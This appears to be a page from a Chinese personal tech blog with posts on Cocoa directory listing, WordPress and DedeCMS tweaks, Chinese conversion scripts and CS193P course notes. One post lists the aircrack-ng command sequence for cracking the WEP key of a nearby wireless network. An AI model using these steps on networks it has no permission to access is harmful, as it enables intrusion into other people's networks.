Mac:得到一个目录内的内容

首先是打开一个目录

然后

1, 使用NSFileManager来得到这个目录的内容

NSArray *contentArray = [[NSFileManager defaultManager] 
	 contentsOfDirectoryAtURL:[[oPanel URLs] objectAtIndex:0] 
	//oPanel是上个帖子中的NSOpenPanel对象
	 includingPropertiesForKeys:[NSArray array]
	 options:0 
	 error:nil];
//我们得到一个Array的NSURL

2, 简单显示这个Array中的内容

	for(id innerUrl in contentArray)
	{
		NSLog([innerUrl absoluteString]);
	}

3, 结果

run
[Switching to process 3626]
Running…
2010-06-17 23:32:43.409 XML2HTML[3626:a0f] file://localhost/Users/kingmtn/Downloads/T01/T01n0001.xml
2010-06-17 23:32:43.411 XML2HTML[3626:a0f] file://localhost/Users/kingmtn/Downloads/T01/T01n0002.xml
2010-06-17 23:32:43.411 XML2HTML[3626:a0f] file://localhost/Users/kingmtn/Downloads/T01/T01n0003.xml
2010-06-17 23:32:43.411 XML2HTML[3626:a0f] file://localhost/Users/kingmtn/Downloads/T01/T01n0004.xml
2010-06-17 23:32:43.411 XML2HTML[3626:a0f] file://localhost/Users/kingmtn/Downloads/T01/T01n0005.xml
2010-06-17 23:32:43.411 XML2HTML[3626:a0f] file://localhost/Users/kingmtn/Downloads/T01/T01n0006.xml
2010-06-17 23:32:43.412 XML2HTML[3626:a0f] file://localhost/Users/kingmtn/Downloads/T01/T01n0007.xml


*在简单输出含有空格的URL的String的时候会出现一定乱码, 如果有需要, 我会去分析为什么

Mac:打开一个目录

1, 获得一个打开窗口对象 NSOpenPanel

NSOpenPanel *oPanel = [NSOpenPanel openPanel]; //快捷建立方式不用释放, 我还记得, 你呢?

2, 设置这个对象的参数

	[oPanel setCanChooseDirectories:YES]; //可以打开目录
	[oPanel setCanChooseFiles:NO]; //不能打开文件(我需要处理一个目录内的所有文件)
	[oPanel setDirectory:NSHomeDirectory()]; //起始目录为Home

3, 处理得到的数据

	if ([oPanel runModal] == NSOKButton) {  //如果用户点OK
		NSLog([[[oPanel URLs] objectAtIndex:0] absoluteString]); 
		//我在console输出这个目录的地址
	}

4, 结果

[Switching to process 3330]
Running…
2010-06-17 22:49:02.583 XML2HTML[3330:a0f] file://localhost/Users/kingmtn/Music/

5, 简单的界面

只需要一个NSButton,并且将这个NSButton的缺省行为链接到我的对象方法-(IBAction)openDirectoryButtonClick:(id)sender上就可以了

*这是我XML2HTML工程的第一部分

基于Air的本地Google Analytics客户端

看着自己原来写的博客还有这么高的浏览量真是惭愧,愧对那些看我博客的朋友. 最近iOS开发功力恢复中,希望尽快恢复佛典的继续开发,不为别的,只为曾经说过.

看自己网站的浏览量是非常开心得事情,当然前题是你的网站流量还满意….

Polaris是一个非常简单的,免费的Google Analytics客户端. 基于Air代表着Mac, Windows都OK. 非常不错得界面,大家试试吧, 懒得登录google的好选择.

下载

简单增加WordPress的安全性

处于安全考虑, 应该在Wordpress的模板中移除以下语句:

  <?php remove_action('wp_head', 'wp_generator'); ?>

这条语句生成正在使用的WP版本

自己的新“Mac”到手,有空继续写博客

Core i3 530

H55

4GB DDR3

Geforce 8400GS

比我原来的Macbook速度快多了,而且很多都是OOB可用。tony这个名字厉害阿,不仅仅在日本是大神…

http://tonymacx86.blogspot.com/  上可以学习到很多制作Hackintosh的内容和软件

两个简繁转换脚本

帮人做网站,结果需要简繁转换,于是在网上找了一下,找到下面两个转换脚本

GB_BIG 比较全能但是似乎性能稍差,使用方法如下:

<--!  转换按钮的代码  -->
<a id="GB_BIG">繁體</a>
 
<--!  导入脚本的代码 -->
<script type="text/javascript" src="include/javascript/GB_BIG.js"></script>
<script type="text/javascript">
var defaultEncoding = 2;    // 1: 繁體中文, 2: 简体中文
var translateDelay = 0;
var cookieDomain = "http://gzl.name";   ///修改成你的网站地址
var msgToTraditionalChinese = "繁體";
var msgToSimplifiedChinese = "简体";
var translateButtonId = "GB_BIG";
translateInitilization();
</script>

language 不支持Firefox,Chrome都没有问题,使用方法就是导入这个脚本在需要点击的位置:

<script type="text/javascript" src="include/language.js"></script>

这个脚本里面本身带了document.write的<a>,不过写错了。如果要用需要更改里面的<a>的name为id,就可以了

CS193P第二学期第一课笔记(2)

CS193P第二学期第一课笔记(1)

Alan向我们介绍了必备的网站,developer.apple.com是非常重要的,多看看文档是非常有必要的

devforums里面就不用看了,什么不懂得话就在里面搜索就好了

google那里也会有很大的帮助的

如果有兴趣把自己添加到cs193p的email list就打开上面的连接,注册就好了。对于新手来说是非常有用的,很多人都会在这里问一些非常初级的问题,会新手的提高非常有作用。

到developer.apple.com上下载最新版本的XCode开发包,Interface Builder(IB)将是比较常用的界面设计软件

Foundation软件框架是Apple现在开发的最主要库,在学习Cocoa开发的过程中是不得不用的

UIKit是面向iPhone的界面开发框架

开发语言就是对象C啦~我都爱死这个语言了,原来以为Java已经可爱的不得了了,ObjC才是最可爱的,大家学习之后就知道咯~

2Bc…

Backtrack4破解WEP密碼流程

哥的网混正了…不需要这些了,但是还是放在博客上好

airmon-ng ->得到接口信息

airodump-ng -> 得到附近网络节点的信息ap BSSID, ESSID, CH

airodump-ng -w wep -c 频道 –bssid MAC地址 接口名

aireplay-ng -1 0 -a MAC地址 接口名

aireplay-ng -3 -b MAC地址 接口名

aircrack-ng ~.cap -> 解码开始

去掉DedeCMS 会员中心 的 消费中心

打开 /member/templets/menu.php

删除以下字段:

    <!-- //消费管理 -->
    <div class='menuTitle mbcmoney' onclick="ShowHideMenuD('mbcmoney')"></div>
    <ul class="leftNav" id="mbcmoney">
        <li class="icon consume1"><a href="../member/operation.php">财务管理</a></li>
        <li class="icon consume"><a href="../member/buy.php">升级/充值</a></li>
    </ul>

CS193P第二学期第一课笔记(1)

CS193P第二个在线学期开始了,iTunesU的视频和PDF已经可以下载了。这学期Evan我偶像不会在这个课堂了,真是太可惜了…可惜…

言归正传,我会上传幻灯来解释我学到的,虽然学过一次了,不过我很久不弄了,复习一下也是非常棒的。

我得说我本来是非常兴奋的,能学到正经的3.0SDK。但是没有Evan,恐怕课会很无聊。上学期Alan虽然很努力,但是确实把CS193P弄得有些无聊,而且水平高不代表一定会讲课,期盼这个Josh能为我们带来一个欢乐的学期,谢谢。

需要的预科是斯坦福的CS106B/X,这两科都是可以在iTunesU或者see.stanford.edu上下载得到的

苹果的文档我不得不说是写得非常非常棒的,言简意赅,不仅仅适合美国死心眼们,也很适合跳跃性思维的国人

10.5以上的系统,现在谁如果还没安装雪豹在自己的电脑上就赶快去弄一个拷贝去!

真实硬件的测试和虚拟机是完全完全不同的,真实机器会比较脆弱,所以至少还是买个iPod Touch吧。至少不至于你的软件经常的崩溃吧~

哇哈,这就是为什么苹果能赚那么多钱了…懂得正确的营销,免费的教学,开拓市场

2Bc…